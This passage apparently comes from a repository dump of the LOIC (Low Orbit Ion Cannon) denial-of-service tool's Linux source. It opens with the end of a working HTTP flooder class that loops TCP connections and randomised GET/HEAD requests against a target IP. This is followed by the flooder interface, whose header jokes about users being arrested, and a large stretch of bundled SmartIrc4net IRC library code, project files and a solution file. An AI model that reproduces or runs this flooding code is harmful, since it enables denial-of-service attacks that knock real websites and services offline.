timeout, bool random, bool useget, bool gzip) 31 | { 32 | this.Host = (host == "") ? ip : host; 33 | this.IP = ip; 34 | this.Port = port; 35 | this.Subsite = subSite; 36 | this.Resp = resp; 37 | this.Delay = delay; 38 | this.Timeout = timeout * 1000; 39 | this.Random = random; 40 | this.UseGet = useget; 41 | this.AllowGzip = gzip; 42 | } 43 | public override void Start() 44 | { 45 | this.IsFlooding = true; 46 | 47 | lastAction = Tick(); 48 | tTimepoll = new Timer(); 49 | tTimepoll.Tick += tTimepoll_Tick; 50 | tTimepoll.Start(); 51 | 52 | this.bw = new BackgroundWorker(); 53 | this.bw.DoWork += bw_DoWork; 54 | this.bw.RunWorkerAsync(); 55 | this.bw.WorkerSupportsCancellation = true; 56 | } 57 | public override void Stop() 58 | { 59 | this.IsFlooding = false; 60 | this.bw.CancelAsync(); 61 | } 62 | private void tTimepoll_Tick(object sender, EventArgs e) 63 | { 64 | // Protect against race condition 65 | if(intShowStats) return; intShowStats = true; 66 | 67 | if(Tick() > lastAction + Timeout) 68 | { 69 | Failed++; State = ReqState.Failed; 70 | tTimepoll.Stop(); 71 | if(this.IsFlooding) 72 | tTimepoll.Start(); 73 | } 74 | 75 | intShowStats = false; 76 | } 77 | private void bw_DoWork(object sender, DoWorkEventArgs e) 78 | { 79 | try 80 | { 81 | IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port); 82 | while (this.IsFlooding) 83 | { 84 | State = ReqState.Ready; // SET STATE TO READY // 85 | lastAction = Tick(); 86 | byte[] recvBuf = new byte[128]; 87 | using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp)) 88 | { 89 | socket.NoDelay = true; 90 | State = ReqState.Connecting; // SET STATE TO CONNECTING // 91 | 92 | try { socket.Connect(RHost); } 93 | catch(SocketException) { goto _continue; } 94 | 95 | byte[] buf = Functions.RandomHttpHeader((UseGet ? "GET" : "HEAD"), Subsite, Host, Random, AllowGzip); 96 | 97 | socket.Blocking = Resp; 98 | State = ReqState.Requesting; // SET STATE TO REQUESTING // 99 | 100 | try 101 | { 102 | socket.Send(buf, SocketFlags.None); 103 | State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++ 104 | 105 | if (Resp) 106 | { 107 | socket.ReceiveTimeout = Timeout; 108 | socket.Receive(recvBuf, recvBuf.Length, SocketFlags.None); 109 | } 110 | } 111 | catch(SocketException) { goto _continue; } 112 | } 113 | State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++ 114 | tTimepoll.Stop(); 115 | tTimepoll.Start(); 116 | _continue: 117 | if(Delay >= 0) 118 | System.Threading.Thread.Sleep(Delay+1); 119 | } 120 | } 121 | // Analysis disable once EmptyGeneralCatchClause 122 | catch { } 123 | finally { tTimepoll.Stop(); State = ReqState.Ready; this.IsFlooding = false; } 124 | } 125 | private static long Tick() 126 | { 127 | return DateTime.UtcNow.Ticks / 10000; 128 | } 129 | } 130 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/IFlooder.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | 8 | namespace LOIC 9 | { 10 | interface IFlooder 11 | { 12 | #region Properties 13 | int Delay { get; set; } 14 | bool IsFlooding { get; set; } 15 | #endregion 16 | 17 | #region Methods 18 | void Start(); 19 | void Stop(); 20 | #endregion 21 | } 22 | } -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Client/Delegates.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: Delegates.cs 203 2005-06-10 01:42:42Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/IrcClient/Delegates.cs $ 4 | * $Rev: 203 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-10 03:42:42 +0200 (Fri, 10 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | namespace Meebey.SmartIrc4net 30 | { 31 | public delegate void IrcEventHandler(object sender, IrcEventArgs e); 32 | public delegate void CtcpEventHandler(object sender, CtcpEventArgs e); 33 | public delegate void ActionEventHandler(object sender, ActionEventArgs e); 34 | public delegate void ErrorEventHandler(object sender, ErrorEventArgs e); 35 | public delegate void PingEventHandler(object sender, PingEventArgs e); 36 | public delegate void KickEventHandler(object sender, KickEventArgs e); 37 | public delegate void JoinEventHandler(object sender, JoinEventArgs e); 38 | public delegate void NamesEventHandler(object sender, NamesEventArgs e); 39 | public delegate void PartEventHandler(object sender, PartEventArgs e); 40 | public delegate void InviteEventHandler(object sender, InviteEventArgs e); 41 | public delegate void OpEventHandler(object sender, OpEventArgs e); 42 | public delegate void DeopEventHandler(object sender, DeopEventArgs e); 43 | public delegate void HalfopEventHandler(object sender, HalfopEventArgs e); 44 | public delegate void DehalfopEventHandler(object sender, DehalfopEventArgs e); 45 | public delegate void VoiceEventHandler(object sender, VoiceEventArgs e); 46 | public delegate void DevoiceEventHandler(object sender, DevoiceEventArgs e); 47 | public delegate void BanEventHandler(object sender, BanEventArgs e); 48 | public delegate void UnbanEventHandler(object sender, UnbanEventArgs e); 49 | public delegate void TopicEventHandler(object sender, TopicEventArgs e); 50 | public delegate void TopicChangeEventHandler(object sender, TopicChangeEventArgs e); 51 | public delegate void NickChangeEventHandler(object sender, NickChangeEventArgs e); 52 | public delegate void QuitEventHandler(object sender, QuitEventArgs e); 53 | public delegate void AwayEventHandler(object sender, AwayEventArgs e); 54 | public delegate void WhoEventHandler(object sender, WhoEventArgs e); 55 | public delegate void MotdEventHandler(object sender, MotdEventArgs e); 56 | public delegate void PongEventHandler(object sender, PongEventArgs e); 57 | } 58 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Client/NonRfcChannel.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: NonRfcChannel.cs 198 2005-06-08 16:50:11Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/IrcClient/NonRfcChannel.cs $ 4 | * $Rev: 198 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-08 18:50:11 +0200 (Wed, 08 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | using System; 30 | using System.Collections; 31 | using System.Collections.Specialized; 32 | 33 | namespace Meebey.SmartIrc4net 34 | { 35 | /// 36 | /// 37 | /// 38 | /// 39 | public class NonRfcChannel : Channel 40 | { 41 | private Hashtable _Halfops = Hashtable.Synchronized(new Hashtable(StringComparer.InvariantCultureIgnoreCase)); 42 | 43 | /// 44 | /// 45 | /// 46 | /// 47 | internal NonRfcChannel(string name) : base(name) 48 | { 49 | } 50 | 51 | #if LOG4NET 52 | ~NonRfcChannel() 53 | { 54 | Logger.ChannelSyncing.Debug("NonRfcChannel ("+Name+") destroyed"); 55 | } 56 | #endif 57 | 58 | /// 59 | /// 60 | /// 61 | /// 62 | public Hashtable Halfops { 63 | get { 64 | return (Hashtable)_Halfops.Clone(); 65 | } 66 | } 67 | 68 | /// 69 | /// 70 | /// 71 | /// 72 | internal Hashtable UnsafeHalfops { 73 | get { 74 | return _Halfops; 75 | } 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Client/NonRfcChannelUser.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: NonRfcChannelUser.cs 198 2005-06-08 16:50:11Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/IrcClient/NonRfcChannelUser.cs $ 4 | * $Rev: 198 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-08 18:50:11 +0200 (Wed, 08 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | namespace Meebey.SmartIrc4net 30 | { 31 | /// 32 | /// 33 | /// 34 | /// 35 | public class NonRfcChannelUser : ChannelUser 36 | { 37 | private bool _IsHalfop; 38 | 39 | /// 40 | /// 41 | /// 42 | /// 43 | /// 44 | internal NonRfcChannelUser(string channel, IrcUser ircuser) : base(channel, ircuser) 45 | { 46 | } 47 | 48 | #if LOG4NET 49 | ~NonRfcChannelUser() 50 | { 51 | Logger.ChannelSyncing.Debug("NonRfcChannelUser ("+Channel+":"+IrcUser.Nick+") destroyed"); 52 | } 53 | #endif 54 | 55 | /// 56 | /// 57 | /// 58 | /// 59 | public bool IsHalfop { 60 | get { 61 | return _IsHalfop; 62 | } 63 | set { 64 | _IsHalfop = value; 65 | } 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Connection/Delegates.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: Delegates.cs 201 2005-06-09 17:06:22Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/IrcConnection/Delegates.cs $ 4 | * $Rev: 201 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-09 19:06:22 +0200 (Thu, 09 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | namespace Meebey.SmartIrc4net 30 | { 31 | public delegate void ReadLineEventHandler(object sender, ReadLineEventArgs e); 32 | public delegate void WriteLineEventHandler(object sender, WriteLineEventArgs e); 33 | public delegate void AutoConnectErrorEventHandler(object sender, AutoConnectErrorEventArgs e); 34 | } 35 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Connection/EventArgs.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: EventArgs.cs 200 2005-06-09 16:54:31Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/IrcConnection/EventArgs.cs $ 4 | * $Rev: 200 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-09 18:54:31 +0200 (Thu, 09 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | using System; 30 | using System.Collections.Specialized; 31 | 32 | namespace Meebey.SmartIrc4net 33 | { 34 | /// 35 | /// 36 | /// 37 | public class ReadLineEventArgs : EventArgs 38 | { 39 | private string _Line; 40 | 41 | public string Line { 42 | get { 43 | return _Line; 44 | } 45 | } 46 | 47 | internal ReadLineEventArgs(string line) 48 | { 49 | _Line = line; 50 | } 51 | } 52 | 53 | /// 54 | /// 55 | /// 56 | public class WriteLineEventArgs : EventArgs 57 | { 58 | private string _Line; 59 | 60 | public string Line { 61 | get { 62 | return _Line; 63 | } 64 | } 65 | 66 | internal WriteLineEventArgs(string line) 67 | { 68 | _Line = line; 69 | } 70 | } 71 | 72 | /// 73 | /// 74 | /// 75 | public class AutoConnectErrorEventArgs : EventArgs 76 | { 77 | private Exception _Exception; 78 | private string _Address; 79 | private int _Port; 80 | 81 | public Exception Exception { 82 | get { 83 | return _Exception; 84 | } 85 | } 86 | 87 | public string Address { 88 | get { 89 | return _Address; 90 | } 91 | } 92 | 93 | public int Port { 94 | get { 95 | return _Port; 96 | } 97 | } 98 | 99 | internal AutoConnectErrorEventArgs(string address, int port, Exception ex) 100 | { 101 | _Address = address; 102 | _Port = port; 103 | _Exception = ex; 104 | } 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Connection/IrcProperties.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: IrcConnection.cs 208 2006-01-28 17:11:59Z meebey $ 3 | * $URL: svn+ssh://svn.qnetp.net/svn/smartirc/SmartIrc4net/trunk/src/IrcConnection/IrcConnection.cs $ 4 | * $Rev: 208 $ 5 | * $Author: meebey $ 6 | * $Date: 2006-01-28 18:11:59 +0100 (Sat, 28 Jan 2006) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | using System; 30 | using System.IO; 31 | using System.Text; 32 | using System.Collections; 33 | using System.Threading; 34 | using System.Reflection; 35 | using System.Net.Sockets; 36 | 37 | namespace Meebey.SmartIrc4net 38 | { 39 | /// 40 | /// 41 | /// 42 | /// 43 | /* 44 | public class IrcProperties 45 | { 46 | } 47 | */ 48 | } 49 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Connection/IrcTcpClient.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: IrcTcpClient.cs 198 2005-06-08 16:50:11Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/IrcConnection/IrcTcpClient.cs $ 4 | * $Rev: 198 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-08 18:50:11 +0200 (Wed, 08 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | using System.Net; 30 | using System.Net.Sockets; 31 | 32 | namespace Meebey.SmartIrc4net 33 | { 34 | /// 35 | /// 36 | /// 37 | /// 38 | internal class IrcTcpClient: TcpClient 39 | { 40 | // https://msdn.microsoft.com/en-us/library/system.net.sockets.tcpclient%28v=vs.110%29.aspx 41 | public IrcTcpClient() : base() { } 42 | public IrcTcpClient(AddressFamily family) : base(family) { } 43 | public IrcTcpClient(IPEndPoint localEP) : base(localEP) { } 44 | public IrcTcpClient(string hostname, int port) : base(hostname, port) { } 45 | 46 | public Socket Socket { 47 | get { 48 | return Client; 49 | } 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/EventArgs.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: EventArgs.cs 198 2005-06-08 16:50:11Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/EventArgs.cs $ 4 | * $Rev: 198 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-08 18:50:11 +0200 (Wed, 08 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | using System; 30 | using System.Collections.Specialized; 31 | 32 | namespace Meebey.SmartIrc4net 33 | { 34 | /// 35 | /// 36 | /// 37 | /// 38 | public class IrcEventArgs : EventArgs 39 | { 40 | private readonly IrcMessageData _Data; 41 | 42 | /// 43 | /// 44 | /// 45 | public IrcMessageData Data { 46 | get { 47 | return _Data; 48 | } 49 | } 50 | 51 | internal IrcEventArgs(IrcMessageData data) 52 | { 53 | _Data = data; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Exceptions.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: Exceptions.cs 198 2005-06-08 16:50:11Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/Exceptions.cs $ 4 | * $Rev: 198 $ 5 | * $Author: meebey $ 6 | * $Date: 2005-06-08 18:50:11 +0200 (Wed, 08 Jun 2005) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | using System; 30 | using System.Runtime.Serialization; 31 | 32 | namespace Meebey.SmartIrc4net 33 | { 34 | /// 35 | [Serializable()] 36 | public class SmartIrc4netException : ApplicationException 37 | { 38 | public SmartIrc4netException() : base() 39 | { 40 | } 41 | 42 | public SmartIrc4netException(string message) : base(message) 43 | { 44 | } 45 | 46 | public SmartIrc4netException(string message, Exception e) : base(message, e) 47 | { 48 | } 49 | 50 | protected SmartIrc4netException(SerializationInfo info, StreamingContext context) : base(info, context) 51 | { 52 | } 53 | } 54 | 55 | /// 56 | [Serializable()] 57 | public class ConnectionException : SmartIrc4netException 58 | { 59 | public ConnectionException() : base() 60 | { 61 | } 62 | 63 | public ConnectionException(string message) : base(message) 64 | { 65 | } 66 | 67 | public ConnectionException(string message, Exception e) : base(message, e) 68 | { 69 | } 70 | 71 | protected ConnectionException(SerializationInfo info, StreamingContext context) : base(info, context) 72 | { 73 | } 74 | } 75 | 76 | /// 77 | [Serializable()] 78 | public class CouldNotConnectException : ConnectionException 79 | { 80 | public CouldNotConnectException() : base() 81 | { 82 | } 83 | 84 | public CouldNotConnectException(string message) : base(message) 85 | { 86 | } 87 | 88 | public CouldNotConnectException(string message, Exception e) : base(message, e) 89 | { 90 | } 91 | 92 | protected CouldNotConnectException(SerializationInfo info, StreamingContext context) : base(info, context) 93 | { 94 | } 95 | } 96 | 97 | /// 98 | [Serializable()] 99 | public class NotConnectedException : ConnectionException 100 | { 101 | public NotConnectedException() : base() 102 | { 103 | } 104 | 105 | public NotConnectedException(string message) : base(message) 106 | { 107 | } 108 | 109 | public NotConnectedException(string message, Exception e) : base(message, e) 110 | { 111 | } 112 | 113 | protected NotConnectedException(SerializationInfo info, StreamingContext context) : base(info, context) 114 | { 115 | } 116 | } 117 | 118 | /// 119 | [Serializable()] 120 | public class AlreadyConnectedException : ConnectionException 121 | { 122 | public AlreadyConnectedException() : base() 123 | { 124 | } 125 | 126 | public AlreadyConnectedException(string message) : base(message) 127 | { 128 | } 129 | 130 | public AlreadyConnectedException(string message, Exception e) : base(message, e) 131 | { 132 | } 133 | 134 | protected AlreadyConnectedException(SerializationInfo info, StreamingContext context) : base(info, context) 135 | { 136 | } 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/IRC.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | AnyCPU 6 | 9.0.21022 7 | 2.0 8 | {13896B76-B96B-48AC-9DC7-09982ECE3715} 9 | Library 10 | Properties 11 | IRC 12 | IRC 13 | v2.0 14 | 512 15 | 16 | 17 | true 18 | full 19 | false 20 | ..\bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | pdbonly 27 | true 28 | ..\bin\Release\ 29 | TRACE 30 | prompt 31 | 4 32 | x86 33 | 34 | 35 | 36 | 37 | ..\packages\log4net.2.0.5\lib\net20-full\log4net.dll 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: AssemblyInfo.cs 214 2007-04-06 14:12:17Z meebey $ 3 | * $URL: svn://svn.qnetp.net/smartirc/SmartIrc4net/tags/0.4.0/src/AssemblyInfo.cs $ 4 | * $Rev: 214 $ 5 | * $Author: meebey $ 6 | * $Date: 2007-04-06 16:12:17 +0200 (Fri, 06 Apr 2007) $ 7 | * 8 | * SmartIrc4net - the IRC library for .NET/C# 9 | * 10 | * Copyright (c) 2003-2005 Mirco Bauer 11 | * 12 | * Full LGPL License: 13 | * 14 | * This library is free software; you can redistribute it and/or 15 | * modify it under the terms of the GNU Lesser General Public 16 | * License as published by the Free Software Foundation; either 17 | * version 2.1 of the License, or (at your option) any later version. 18 | * 19 | * This library is distributed in the hope that it will be useful, 20 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | * Lesser General Public License for more details. 23 | * 24 | * You should have received a copy of the GNU Lesser General Public 25 | * License along with this library; if not, write to the Free Software 26 | * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 27 | */ 28 | 29 | using System; 30 | using System.Reflection; 31 | using System.Runtime.CompilerServices; 32 | using System.Runtime.InteropServices; 33 | 34 | // Information about this assembly is defined by the following 35 | // attributes. 36 | // 37 | // change them to the information which is associated with the assembly 38 | // you compile. 39 | 40 | [assembly: CLSCompliant(true)] 41 | [assembly: ComVisible(false)] 42 | 43 | [assembly: AssemblyTitle("SmartIrc4net")] 44 | [assembly: AssemblyDescription("IRC library for the .NET Framework")] 45 | [assembly: AssemblyConfiguration("")] 46 | [assembly: AssemblyCompany("qNETp")] 47 | [assembly: AssemblyProduct("SmartIrc4net")] 48 | [assembly: AssemblyCopyright("2003-2007 (C) Mirco Bauer ")] 49 | [assembly: AssemblyTrademark("")] 50 | [assembly: AssemblyCulture("")] 51 | 52 | // The assembly version has following format : 53 | // 54 | // Major.Minor.Build.Revision 55 | // 56 | // You can specify all values by your own or you can build default build and revision 57 | // numbers with the '*' character (the default): 58 | 59 | [assembly: AssemblyVersion("0.4.0.*")] 60 | 61 | // The following attributes specify the key for the sign of your assembly. See the 62 | // .NET Framework documentation for more information about signing. 63 | // This is not required, if you don't want signing let these attributes like they're. 64 | #if DELAY_SIGN 65 | [assembly: AssemblyDelaySign(true)] 66 | [assembly: AssemblyKeyFile("../SmartIrc4net-pub.snk")] 67 | #else 68 | [assembly: AssemblyDelaySign(false)] 69 | [assembly: AssemblyKeyFile("")] 70 | #endif 71 | -------------------------------------------------------------------------------- /Linux/LOIC/src/IRC/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Linux/LOIC/src/LOIC.sln: -------------------------------------------------------------------------------- 1 | Microsoft Visual Studio Solution File, Format Version 11.00 2 | # Visual C# Express 2010 3 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LOIC", "LOIC.csproj", "{54040692-D1B5-4910-B661-26651BD0EF18}" 4 | EndProject 5 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "IRC", "IRC\IRC.csproj", "{13896B76-B96B-48AC-9DC7-09982ECE3715}" 6 | EndProject 7 | Global 8 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 9 | Debug|Any CPU = Debug|Any CPU 10 | Release|Any CPU = Release|Any CPU 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {54040692-D1B5-4910-B661-26651BD0EF18}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 14 | {54040692-D1B5-4910-B661-26651BD0EF18}.Debug|Any CPU.Build.0 = Debug|Any CPU 15 | {54040692-D1B5-4910-B661-26651BD0EF18}.Release|Any CPU.ActiveCfg = Release|Any CPU 16 | {54040692-D1B5-4910-B661-26651BD0EF18}.Release|Any CPU.Build.0 = Release|Any CPU 17 | {13896B76-B96B-48AC-9DC7-09982ECE3715}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 18 | {13896B76-B96B-48AC-9DC7-09982ECE3715}.Debug|Any CPU.Build.0 = Debug|Any CPU 19 | {13896B76-B96B-48AC-9DC7-09982ECE3715}.Release|Any CPU.ActiveCfg = Release|Any CPU 20 | {13896B76-B96B-48AC-9DC7-09982ECE3715}.Release|Any CPU.Build.0 = Release|Any CPU 21 | EndGlobalSection 22 | GlobalSection(SolutionProperties) = preSolution 23 | HideSolutionNode = FALSE 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Linux/LOIC/src/LOIC.userprefs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Linux/LOIC/src/Program.cs: -------------------------------------------------------------------------------- 1 | /* LOIC - Low Orbit Ion Cannon 2 | * Released to the public domain 3 | * Enjoy getting v&, kids. 4 | */ 5 | 6 | using System; 7 | using 